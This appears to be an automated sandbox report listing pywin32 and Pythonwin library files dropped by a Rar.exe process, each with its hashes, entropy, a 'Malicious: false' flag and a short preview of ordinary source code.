SHA-512:	C65C12AFA7085229E6C391F1C565087AD09145AD80E5E7D213E1EDEA269202CC695E614126B861EB4F928E8210A88DE75F5FF5C20E775EF4C585B0345720E51E
Malicious:	false
Reputation:	low
Preview:	import re.import string.import sys..# Reason last stmt is continued (or C_NONE if it's not)..C_NONE, C_BACKSLASH, C_STRING, C_BRACKET = list(range(4))..if 0: # for throwaway debugging output.. def dump(stuff):. sys.__stdout__.write(" ".join(map(str, stuff)) + "\n")...# Find what looks like the start of a popular stmt..._synchre = re.compile(. r""". ^. [ \t]. (?: if. \| for. \| while. \| else. \| def. \| return. \| assert. \| break. \| class. \| continue. \| elif. \| try. \| except. \| raise. \| import. ). \b.""",. re.VERBOSE \| re.MULTILINE,.).search..# Match blank line or non-indenting comment line..._junkre = re.compile(. r""". [ \t]. (?: \# \S . )?. \n.""",. re.VERBOSE,.).match..# Match any flavor of string; the terminating quote is optional.# so that we're robust in the face of incomplete program text..._match_stringre = re.compile(. r""". \""" [^"\\]* (?:.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\idle\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.162111531234448
Encrypted:	false
SSDEEP:	3:SbFQyA+AFRGHWkexVWSvn:SbFW+bHWkcVjv
MD5:	C2A467B129816CF02C12519E3E45DB0A
SHA1:	49D83D6E76EA862B9885CD4E0F4FD721DCF1F79A
SHA-256:	44B1DF947FF50D72D59B94198997B704164F45A1CD53FEFA952A8E17E3547F84
SHA-512:	AA54B67FB7B539616B131EC081FE27B0C7E3684490C19028226BA37760E6FB63BA7C1D6D814BFFA613C43A0EDAC655EF305CF09EC2A52D88FE916E7BFBD3D602
Malicious:	false
Reputation:	low
Preview:	# This file denotes the directory as a Python package..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\mfc\activex.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2868
Entropy (8bit):	4.593442899717496
Encrypted:	false
SSDEEP:	48:wIUyrO+52aUrxTZzEkAOQlypxbGb72X95xqqliH2afGjfPYX5DWT4yQl7c8GH9:rUqUrx1RAOtXqeNK8iWaaXYXtU4ySoX9
MD5:	33A3FC76024153A2C91464ECF67B48D7
SHA1:	B351FE1B5981AC4BC64B310C84ACD913A9FB18CF
SHA-256:	786CD903AAD80332EEC07026AA0289776BEBCDE5A8B05086902054D782D46B6A
SHA-512:	6853C668A08B4BE27DEA2D2CF6D83F07DCF80AF3BCB398D3183A4983584165ECF7E9BA2EFEB156CA61F93986132AD4900DF18858FDB3BEC9D7B9584212071FF1
Malicious:	false
Reputation:	low
Preview:	"""Support for ActiveX control hosting in Pythonwin..""".import win32ui.import win32uiole..from . import window..# XXX - we are still "classic style" classes in py2x, so we need can't yet.# use 'type()' everywhere - revisit soon, as py2x will move to new-style too....try:. from types import ClassType as new_type.except ImportError:. new_type = type # py3k...class Control(window.Wnd):. """An ActiveX control base class. A new class must be derived from both. this class and the Events class. See the demos for more details.. """.. def __init__(self):. self.__dict__["_dispobj_"] = None. window.Wnd.__init__(self).. def _GetControlCLSID(self):. return self.CLSID.. def _GetDispatchClass(self):. return self.default_interface.. def _GetEventMap(self):. return self.default_source._dispid_to_func_.. def CreateControl(self, windowTitle, style, rect, parent, id, lic_string=None):. clsid = str(self._GetControlCLSID()).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\mfc\afxres.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15094
Entropy (8bit):	4.777558868848426
Encrypted:	false
SSDEEP:	192:p9+7gM0XJNbpbCffiskBtXvyhE+RjE5LedEIq0E1G+fe:pJNlCff8yxjE5LI4v1A
MD5:	370BEB77C36C0B2E840E6AB850FCE757
SHA1:	0A87A029CA417DAA03D22BE6EDDFDDBAC0B54D7A
SHA-256:	462659F2891D1D767EA4E7A32FC1DBBD05EC9FCFA9310ECDC0351B68F4C19ED5
SHA-512:	4E274071CA052CA0D0EF5297D61D06914F0BFB3161843B3CDCFDE5A2EA0368974FD2209732A4B00A488C84A80A5AB94AD4FD430FF1E4524C6425BAA59E4DA289
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from stdin.TCS_MULTILINE = 0x0200.CBRS_ALIGN_LEFT = 0x1000.CBRS_ALIGN_TOP = 0x2000.CBRS_ALIGN_RIGHT = 0x4000.CBRS_ALIGN_BOTTOM = 0x8000.CBRS_ALIGN_ANY = 0xF000.CBRS_BORDER_LEFT = 0x0100.CBRS_BORDER_TOP = 0x0200.CBRS_BORDER_RIGHT = 0x0400.CBRS_BORDER_BOTTOM = 0x0800.CBRS_BORDER_ANY = 0x0F00.CBRS_TOOLTIPS = 0x0010.CBRS_FLYBY = 0x0020.CBRS_FLOAT_MULTI = 0x0040.CBRS_BORDER_3D = 0x0080.CBRS_HIDE_INPLACE = 0x0008.CBRS_SIZE_DYNAMIC = 0x0004.CBRS_SIZE_FIXED = 0x0002.CBRS_FLOATING = 0x0001.CBRS_GRIPPER = 0x00400000.CBRS_ORIENT_HORZ = CBRS_ALIGN_TOP \| CBRS_ALIGN_BOTTOM.CBRS_ORIENT_VERT = CBRS_ALIGN_LEFT \| CBRS_ALIGN_RIGHT.CBRS_ORIENT_ANY = CBRS_ORIENT_HORZ \| CBRS_ORIENT_VERT.CBRS_ALL = 0xFFFF.CBRS_NOALIGN = 0x00000000.CBRS_LEFT = CBRS_ALIGN_LEFT \| CBRS_BORDER_RIGHT.CBRS_TOP = CBRS_ALIGN_TOP \| CBRS_BORDER_BOTTOM.CBRS_RIGHT = CBRS_ALIGN_RIGHT \| CBRS_BORDER_LEFT.CBRS_BOTTOM = CBRS_ALIGN_BOTTOM \| CBRS_BORDER_TOP.SBPS_NORMAL = 0x0000.SBPS_NOBORDERS = 0x0100.SBPS_POPOUT = 0x0200.SB

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\mfc\dialog.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9002
Entropy (8bit):	4.653477006452847
Encrypted:	false
SSDEEP:	192:tmY8+q9G2PjQnqrLsDsOqDs+Yg0Mxpb0Xh4hwWIc:tmEwG2PjQnqs6Nih47
MD5:	12BC3CDBB2F36846A76A43060AFB93DA
SHA1:	94BB0F8D3EFCC2873BEEA25253551696662DDDFC
SHA-256:	1343399262F87394D38ADCCB5C6A2A7B999C41FC48AFD4D1F890140DB250F2D9
SHA-512:	57C7855DFA87487F55DB9D5D312CE89827B5E9F26642FC89A59F5B389E16D777F5CD49D07ACC67CF9578E36BF56C11097062E7180CB2C8C785DF1BE53AEBFBB6
Malicious:	false
Reputation:	low
Preview:	""" \.Base class for Dialogs. Also contains a few useful utility functions.""".# dialog.py.# Python class for Dialog Boxes in PythonWin...import win32con.import win32ui..# sob - 2to3 doesn't see this as a relative import :(.from pywin.mfc import window...def dllFromDll(dllid):. "given a 'dll' (maybe a dll, filename, etc), return a DLL object". if dllid == None:. return None. elif type("") == type(dllid):. return win32ui.LoadLibrary(dllid). else:. try:. dllid.GetFileName(). except AttributeError:. raise TypeError("DLL parameter must be None, a filename or a dll object"). return dllid...class Dialog(window.Wnd):. "Base class for a dialog".. def __init__(self, id, dllid=None):. """id is the resource ID, or a template. dllid may be None, a dll object, or a string with a dll name""". # must take a reference to the DLL until InitDialog.. self.dll = dllFromDll(dllid). if type(id) ==

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\mfc\docview.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4089
Entropy (8bit):	4.654928602298063
Encrypted:	false
SSDEEP:	96:tqu76lDV5Kb5/65Ab5i5PSbnrmAY3UrrWEnSSiWsYVBvw+XuMWwJYMExXNO:dExNO
MD5:	8791456FD7D550ECF2F6D9A49EBB55E5
SHA1:	6617C832DE99E3566A83B38640BF9C36B8908BA9
SHA-256:	30EAC40A598F11C20A0BA1008674651070D4FF7CC621F16F57C598D8CDBA52D9
SHA-512:	75C9DAE3DEDCBA988B5708AEB9DB717449F0BFAEB4916A2F0E1EC478CDC0EDEC57F52852693DD1140745C91C523F64AF154651E7F5DBE2F07A630826E5752627
Malicious:	false
Reputation:	low
Preview:	# document and view classes for MFC..import win32ui..from . import object, window...class View(window.Wnd):. def __init__(self, initobj):. window.Wnd.__init__(self, initobj).. def OnInitialUpdate(self):. pass...# Simple control based views..class CtrlView(View):. def __init__(self, doc, wndclass, style=0):. View.__init__(self, win32ui.CreateCtrlView(doc, wndclass, style))...class EditView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateEditView(doc))...class RichEditView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateRichEditView(doc))...class ListView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateListView(doc))...class TreeView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateTreeView(doc))...# Other more advanced views..class ScrollView(View):. def __init__(self, doc):. View.__init__(self, win32ui.CreateView(

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\mfc\object.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2179
Entropy (8bit):	4.386077735543855
Encrypted:	false
SSDEEP:	24:qAibk/bJALTEZu2CSfkN3KylseLVWLLNHLIKaNBKANAFG9bxIXGEs9bxI8EUds9h:qhA/t6n2CEeakP4TnEcGUGNz9dsR6C
MD5:	BE71EA2BF0C288E3AA3A2E30C08DF3E5
SHA1:	40E4B56C7DFF8623572D639D944C096C84E8B8F8
SHA-256:	2BB20C2218306A176B063BC860092852EA94186F385815F3E07388033CC69F1A
SHA-512:	A0DDA0B0A790E385FB0BE69659FB97D9645A3208C08E07400284C81F5CACE190AD115DAC8350133BA445E53AC0AFD686980274A70148CF376D46AAB3D9CF4784
Malicious:	false
Reputation:	low
Preview:	# MFC base classes...import win32ui...class Object:. def __init__(self, initObj=None):. self.__dict__["_obj_"] = initObj. # ..self._obj_ = initObj. if initObj is not None:. initObj.AttachObject(self).. def __del__(self):. self.close().. def __getattr__(. self, attr. ): # Make this object look like the underlying win32ui one.. # During cleanup __dict__ is not available, causing recursive death.. if not attr.startswith("__"):. try:. o = self.__dict__["_obj_"]. if o is not None:. return getattr(o, attr). # Only raise this error for non "internal" names -. # Python may be calling __len__, __nonzero__, etc, so. # we dont want this exception. if attr[0] != "_" and attr[-1] != "_":. raise win32ui.error("The MFC object has died."). except KeyError:. # No _obj_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\mfc\thread.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	588
Entropy (8bit):	4.556501995844858
Encrypted:	false
SSDEEP:	12:GIALHr171Ap0ZbZMiQlApOAgab6QAtqI1Ap9wyCeVAApn:G/1hAiZbZMiQlA9biqMAoyCKAAd
MD5:	CFE2192D3AEFC770DCF8AF46489267F6
SHA1:	7FE1659F61EA201667A114911ECBBE08DC9667D4
SHA-256:	CA5B09C8E52F81F206DC58C631605F915229B034038C7900B527E3DD7CF3AB33
SHA-512:	9A6BF373CFA64D3F3A96CB228DA1EA15F9CB6E5D9106515BB6AEE9E8C5C4E406142199636FA07C44AFFC25A7D704CBDCC7BF0C3745E0BC40DE7850C25B6F97F8
Malicious:	false
Reputation:	low
Preview:	# Thread and application objects..import win32ui..from . import object...class WinThread(object.CmdTarget):. def __init__(self, initObj=None):. if initObj is None:. initObj = win32ui.CreateThread(). object.CmdTarget.__init__(self, initObj).. def InitInstance(self):. pass # Default None/0 return indicates success for InitInstance().. def ExitInstance(self):. pass...class WinApp(WinThread):. def __init__(self, initApp=None):. if initApp is None:. initApp = win32ui.GetApp(). WinThread.__init__(self, initApp).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\mfc\window.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1499
Entropy (8bit):	4.791197957899837
Encrypted:	false
SSDEEP:	24:Llv9hACilAbMkpo3m71f93B4/U/9qR/MZRlTph2XJhWv7AnAf1UcAOwAJMAfF0HY:lDBUk71fgqoR0ZR45W7E8UcpbJMDHYX/
MD5:	C6FAA92255CC9C8FB700A0F740E41762
SHA1:	AA1CB1637DD14BBDA6392E1CB7FBFD5C20F01AF4
SHA-256:	9A970EB30140B49C4A41A18FF5B415DAA1D72867D4FB16302E3705272A238E3B
SHA-512:	1EF564380ECF3773F5935A3F29D61A7711E7187733092F227B6468D759C6CF40653BE8F7B364898AE9D2B5C052DCB5F8441D59D8EC8196004ECD8A3CD3619A2C
Malicious:	false
Reputation:	low
Preview:	# The MFCish window classes..import win32con.import win32ui..from . import object...class Wnd(object.CmdTarget):. def __init__(self, initobj=None):. object.CmdTarget.__init__(self, initobj). if self._obj_:. self._obj_.HookMessage(self.OnDestroy, win32con.WM_DESTROY).. def OnDestroy(self, msg):. pass...# NOTE NOTE - This facility is currently disabled in Pythonwin!!!!!.# Note - to process all messages for your window, add the following method.# to a derived class. This code provides default message handling (ie, is.# identical, except presumably in speed, as if the method did not exist at.# all, so presumably will be modified to test for specific messages to be.# useful!.# .def WindowProc(self, msg, wParam, lParam):.# ..rc, lResult = self._obj_.OnWndMsg(msg, wParam, lParam).# ..if not rc: lResult = self._obj_.DefWindowProc(msg, wParam, lParam).# ..return lResult...class FrameWnd(Wnd):. def __init__(self, wnd):. Wnd.__init__(self, wnd)...c

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\IDLEenvironment.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19556
Entropy (8bit):	4.497661683256965
Encrypted:	false
SSDEEP:	192:8q8UCTL5cBIPkuH31nfeOy2qjT+jQu/MA6eE5vSIaKKrTH/ZD/XUFrKK/So4e2ve:8rUsF/fUQ/PfEzihzXnKz4pvdelM0SFk
MD5:	30649C93971721EFE505F0A6938C339E
SHA1:	300BCF617E09E262C3CC32B736B721D701F5D1C9
SHA-256:	F7D11254FBB78D58C665E80B3A360AB72C2D8513C118E2EF3D4EB180C0FB0404
SHA-512:	165B1ED569A6FBF9E774C1A7E64BEB919073B312C2E0AA9E7CB56D742C6B8CAFFBDB927BCC2759D1A040D9B5C41846906DDF9A268F1E93C3AD6FE16442261E25
Malicious:	false
Reputation:	low
Preview:	# Code that allows Pythonwin to pretend it is IDLE.# (at least as far as most IDLE extensions are concerned)..import string.import sys..import win32api.import win32con.import win32ui.from pywin import default_scintilla_encoding.from pywin.mfc.dialog import GetSimpleInput..wordchars = string.ascii_uppercase + string.ascii_lowercase + string.digits...class TextError(Exception): # When a TclError would normally be raised.. pass...class EmptyRange(Exception): # Internally raised.. pass...def GetIDLEModule(module):. try:. # First get it from Pythonwin it is exists.. modname = "pywin.idle." + module. __import__(modname). except ImportError as details:. msg = (. "The IDLE extension '%s' can not be located.\r\n\r\n". "Please correct the installation and restart the". " application.\r\n\r\n%s" % (module, details). ). win32ui.MessageBox(msg). return None. mod = sys.modules[modname]. mod.TclError

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:ShZMcb:ShZMcb
MD5:	1DB1C834652DC978B6EBA0094585AF4B
SHA1:	8ECAC16CF8E6EF9613A72D899DFCF06BE97CAD49
SHA-256:	BAA89C209D8D74CA2A98B62E725B7D2A6775F6207EC3E405DF272E06979A3BF0
SHA-512:	5C6C13B1A389531F409172B59CE79E7AE4B64647DB6F8CEF291A3134C2BC7D8E1235040A7E610FC2BC790872DD5D05AB44DD3CA5368D44EEF802A419D715490B
Malicious:	false
Reputation:	low
Preview:	# package init..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\bindings.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6001
Entropy (8bit):	4.567243978762066
Encrypted:	false
SSDEEP:	96:BU0On+MU9hSodi81OFpGNe+TpY7xgyfsuffaUhTbWrqSz8t937bad2iPjz80JoUe:GWy4azmiL+Mi8w4
MD5:	4D63B46F085EDD1B3F26492C060BE02F
SHA1:	492669F778D75AB612251026C0857529237910F2
SHA-256:	DABDFAA846E98F4B0CE096518E120A8DDBBB8410796D6D9D88143253AF0995A8
SHA-512:	FFDA160E7D8890E92E546688E720B7B742F803B2847D766EC0C652980296F8E883F0214831964B45BF2798D55EBF92D0133B8530FD57EFEB3C3604DC00DB60CB
Malicious:	false
Reputation:	low
Preview:	import traceback..import win32api.import win32con.import win32ui..from . import IDLEenvironment, keycodes..HANDLER_ARGS_GUESS = 0.HANDLER_ARGS_NATIVE = 1.HANDLER_ARGS_IDLE = 2.HANDLER_ARGS_EXTENSION = 3..next_id = 5000..event_to_commands = {} # dict of integer IDs to event names..command_to_events = {} # dict of event names to int IDs...def assign_command_id(event, id=0):. global next_id. if id == 0:. id = event_to_commands.get(event, 0). if id == 0:. id = next_id. next_id = next_id + 1. # Only map the ones we allocated - specified ones are assumed to have a handler. command_to_events[id] = event. event_to_commands[event] = id. return id...class SendCommandHandler:. def __init__(self, cmd):. self.cmd = cmd.. def __call__(self, *args):. win32ui.GetMainFrame().SendMessage(win32con.WM_COMMAND, self.cmd)...class Binding:. def __init__(self, handler, handler_args_type):. self.handler = handler.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\config.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12462
Entropy (8bit):	4.140685505289245
Encrypted:	false
SSDEEP:	192:3eNXZMJrwYuoMtcYFnPs3o0yKbNIllpQbXi44yamr83IoXNh5CBR/OX:3sXZSwKu0nuXSOHbay
MD5:	A3B4EA466176089EB9A997B7A42080B4
SHA1:	7C308DA4113AF4AB5C915D5D03E876B1405BF298
SHA-256:	FE72E043C6DD33F7DA48B20AA3DDE5B9720D9B8053FB8B6AE647A42E80DFFE69
SHA-512:	A3F6023BC2970BE7508BFC569060464B952E84FF889E100D5ACDA7DAF096B79EB4DCF0AAFE3F4AAC7699513881D09C22C08683CF61EC0BC105C6A2E738A4F89D
Malicious:	false
Reputation:	low
Preview:	# config.py - deals with loading configuration information...# Loads config data from a .cfg file. Also caches the compiled.# data back into a .cfc file...# If you are wondering how to avoid needing .cfg files (eg,.# if you are freezing Pythonwin etc) I suggest you create a.# .py file, and put the config info in a docstring. Then.# pass a CStringIO file (rather than a filename) to the.# config manager..import glob.import importlib.util.import marshal.import os.import stat.import sys.import traceback.import types..import pywin.import win32api..from . import keycodes..debugging = 0.if debugging:. import win32traceutil # Some trace statements fire before the interactive window is open... def trace(args):. sys.stderr.write(" ".join(map(str, args)) + "\n")..else:. trace = lambda args: None..compiled_config_version = 3...def split_line(line, lineno):. comment_pos = line.find("#"). if comment_pos >= 0:. line = line[:comment_pos]. sep_pos = line.rfind("=").

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\configui.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11205
Entropy (8bit):	4.821865216685485
Encrypted:	false
SSDEEP:	192:XfMdKQOJagYIqGwYCfjr3Igem/I4dHqYKNt4SeiQSQe1HY7b5dSYlJLoe1jGeFgx:XkMkImIFAs1gnPLoU6p6+
MD5:	CBE37DC6081DCCCAB596CC4174B049A8
SHA1:	6CED1ED7EBB1E74502315B16951AC7D7CD7C0136
SHA-256:	0FA2FA6B662FC92DB265DF581E8A6CFC89B977761817A729B63BCF521A351692
SHA-512:	CF3C72CACBDF3E606DD9DF96FEFBD973BEFAF4D3A16FF3CA81B8DC40B447F8A16EA2E7BBDCA30E6766C9835A44BD93E0D4A294EF256AF18F176AB01FDF5D4181
Malicious:	false
Reputation:	low
Preview:	import win32api.import win32con.import win32ui.from pywin.mfc import dialog..# Used to indicate that style should use default color.from win32con import CLR_INVALID..from . import scintillacon..######################################################.# Property Page for syntax formatting options..# The standard 16 color VGA palette should always be possible.paletteVGA = (. ("Black", win32api.RGB(0, 0, 0)),. ("Navy", win32api.RGB(0, 0, 128)),. ("Green", win32api.RGB(0, 128, 0)),. ("Cyan", win32api.RGB(0, 128, 128)),. ("Maroon", win32api.RGB(128, 0, 0)),. ("Purple", win32api.RGB(128, 0, 128)),. ("Olive", win32api.RGB(128, 128, 0)),. ("Gray", win32api.RGB(128, 128, 128)),. ("Silver", win32api.RGB(192, 192, 192)),. ("Blue", win32api.RGB(0, 0, 255)),. ("Lime", win32api.RGB(0, 255, 0)),. ("Aqua", win32api.RGB(0, 255, 255)),. ("Red", win32api.RGB(255, 0, 0)),. ("Fuchsia", win32api.RGB(255, 0, 255)),. ("Yellow", win32api.RGB(255, 255, 0)),. ("White

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\control.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20451
Entropy (8bit):	4.87683613229855
Encrypted:	false
SSDEEP:	192:fYn+8crQpwpUQDvR0dYWNQMCQrzchIxGml+Bkhrdxaloyp61ZC5Nm5:wJcrFvR0Wp7QPnv+BkhrdxJ25Q5
MD5:	751CFD7DFE3C718847F3726B1763ECBD
SHA1:	AD3E5B090323C9E40FAA4F61401E43CD09781526
SHA-256:	42BAAB81F5657703CF5203687BC0608FA47763691ECBA0330D4A716ACFB185CD
SHA-512:	097BFE19E1FD9D1198DCE6C91E28237EED7C30C232372C47C619677EEE8ABADFC26D015E5638AA48A0235CD0A3E0D15257B370D1D8D67D5571AB01EEA596F2F2
Malicious:	false
Reputation:	low
Preview:	# An Python interface to the Scintilla control..#.# Exposes Python classes that allow you to use Scintilla as.# a "standard" MFC edit control (eg, control.GetTextLength(), control.GetSel().# plus many Scintilla specific features (eg control.SCIAddStyledText())..import array.import os.import struct..import win32api.import win32con.import win32ui.from pywin import default_scintilla_encoding.from pywin.mfc import window..from . import scintillacon..# Load Scintilla.dll to get access to the control..# We expect to find this in the same directory as win32ui.pyd.dllid = None.if win32ui.debug: # If running _d version of Pythonwin.... try:. dllid = win32api.LoadLibrary(. os.path.join(os.path.split(win32ui.__file__)[0], "Scintilla_d.DLL"). ). except (. win32api.error. ): # Not there - we dont _need_ a debug ver, so ignore this error.. pass.if dllid is None:. try:. dllid = win32api.LoadLibrary(. os.path.join(os.path.split(win

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\document.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11468
Entropy (8bit):	4.53438787213757
Encrypted:	false
SSDEEP:	96:569gsArInvW2tgKfCFtbwt+WisHAtbJwqxavtjdTgRkzLv0PC/C/C2NCNyG3hNVx:5u4CWwbiXtbWqxUtQA33hNVVbEiqS
MD5:	332D0E872EC47EEDB2AB3977608B8030
SHA1:	257F0DA57EDFA8DD6139572C41A4F96F37BB238A
SHA-256:	2A79B8ECBE1BEFDBA9779742C1662A5C51F7B4E02630F0A5E79CCA47C9B2056C
SHA-512:	DC641DE102D9EF4EDCEE5DCAAD347CA5E264A664041718592875CAB75EBA60E8BCEC88B89E540175F0AEC4105FF5D14A130959C4E4ACB7757F06E3DC8528B8E6
Malicious:	false
Reputation:	low
Preview:	import codecs.import re.import string..import win32con.import win32ui.from pywin import default_scintilla_encoding.from pywin.mfc import docview..from . import scintillacon..crlf_bytes = "\r\n".encode("ascii").lf_bytes = "\n".encode("ascii")..# re from pep263 - but we use it both on bytes and strings..re_encoding_bytes = re.compile("coding[:=]\s([-\w.]+)".encode("ascii")).re_encoding_text = re.compile("coding[:=]\s([-\w.]+)")..ParentScintillaDocument = docview.Document...class CScintillaDocument(ParentScintillaDocument):. "A SyntEdit document.".. def __init__(self, *args):. self.bom = None # the BOM, if any, read from the file.. # the encoding we detected from the source. Might have. # detected via the BOM or an encoding decl. Note that in. # the latter case (ie, while self.bom is None), it can't be. # trusted - the user may have edited the encoding decl between. # open and save.. self.source_encoding = None. ParentScin

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\find.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16767
Entropy (8bit):	4.472904609296871
Encrypted:	false
SSDEEP:	384:XOmx0wcpIIdQQ8uHcuBTWLOG+sZt4DMj9WAge+gnBGEF/R+sjTAL6:XOK0whIdQwiBWAgeTnBGEg+
MD5:	43EEE7F984417490D1A5762541F1FA55
SHA1:	D725A912D96EF3A0E6ECD8E803DA69F741A4B4D2
SHA-256:	8795FF82596A683F8C66C906C69D4DF9A908053224B2BB42EF933E45563AC3B1
SHA-512:	67BB7C160C94BFA66D2B3F667782C650B7E008CACB02E5FE0714418740136DE7EBDB377166384C70CAEFD88003A6F5387981CD27AF10921B2D30C01F3814969B
Malicious:	false
Reputation:	low
Preview:	# find.py - Find and Replace.import afxres.import win32api.import win32con.import win32ui.from pywin.framework import scriptutils.from pywin.mfc import dialog..FOUND_NOTHING = 0.FOUND_NORMAL = 1.FOUND_LOOPED_BACK = 2.FOUND_NEXT_FILE = 3...class SearchParams:. def __init__(self, other=None):. if other is None:. self.__dict__["findText"] = "". self.__dict__["replaceText"] = "". self.__dict__["matchCase"] = 0. self.__dict__["matchWords"] = 0. self.__dict__["acrossFiles"] = 0. self.__dict__["remember"] = 1. self.__dict__["sel"] = (-1, -1). self.__dict__["keepDialogOpen"] = 0. else:. self.__dict__.update(other.__dict__).. # Helper so we cant misspell attributes :-). def __setattr__(self, attr, val):. if not hasattr(self, attr):. raise AttributeError(attr). self.__dict__[attr] = val...curDialog = None.lastSearch = defaultSearch = SearchParams().se

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\formatter.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	26477
Entropy (8bit):	4.642478730234446
Encrypted:	false
SSDEEP:	768:ZtCUb7G63428DdfC6epkn29/rD/R7/RYd:ZtCUb7R3+YrD5g
MD5:	564750E4B264BB2215CBCA6B86C3A939
SHA1:	A90B44FDE7B72D7C0F6444FB9EE5A5DD778558C7
SHA-256:	C949D863189E53E64A3E4E4698259A7C08AA97E3B021D874AB02554D3F53DEFE
SHA-512:	6511065D73986943C28A2EEF44EB1F795D670983939800F06186E06895646365D65490699088997F00E9ECC492874E7A763C515F7EEDEF0E95B8E7C7AA96BDE4
Malicious:	false
Reputation:	low
Preview:	# Does Python source formatting for Scintilla controls..import array.import string..import win32api.import win32con.import win32ui..from . import scintillacon..WM_KICKIDLE = 0x036A..# Used to indicate that style should use default color.from win32con import CLR_INVALID..debugging = 0.if debugging:. # Output must go to another process else the result of. # the printing itself will trigger again trigger a trace... import win32trace. import win32traceutil.. def trace(args):. win32trace.write(" ".join(map(str, args)) + "\n")..else:. trace = lambda args: None...class Style:. """Represents a single format""".. def __init__(self, name, format, background=CLR_INVALID):. self.name = name # Name the format representes eg, "String", "Class". # Default background for each style is only used when there are no. # saved settings (generally on first startup). self.background = self.default_background = background. if type(format) ==

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\scintilla\keycodes.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5311
Entropy (8bit):	4.9515679287644865
Encrypted:	false
SSDEEP:	96:fmMcnIBQAJEOASvuCYGBCeDuTc9AH06KilDyRpdePihq9tocFph:ednILJfApjeTAUYJEd2vocFph
MD5:	B6AA32DEF3E71413907DB6CF732938EF
SHA1:	F933BF73F2A377524E542F3AFF97B50851FB84BF
SHA-256:	B8E577BA367521A732C89850FE25AA37D35BBF28CA677E4243B9E8A298588F24
SHA-512:	0F6192D939BA4BE7642D854EEB2D653CE309828AE5499FF5E3C6A5A463A64962875663520F13405716948368F0E152F2F57BC3ECB734725BB60B9CE474A12ECA
Malicious:	false
Reputation:	low
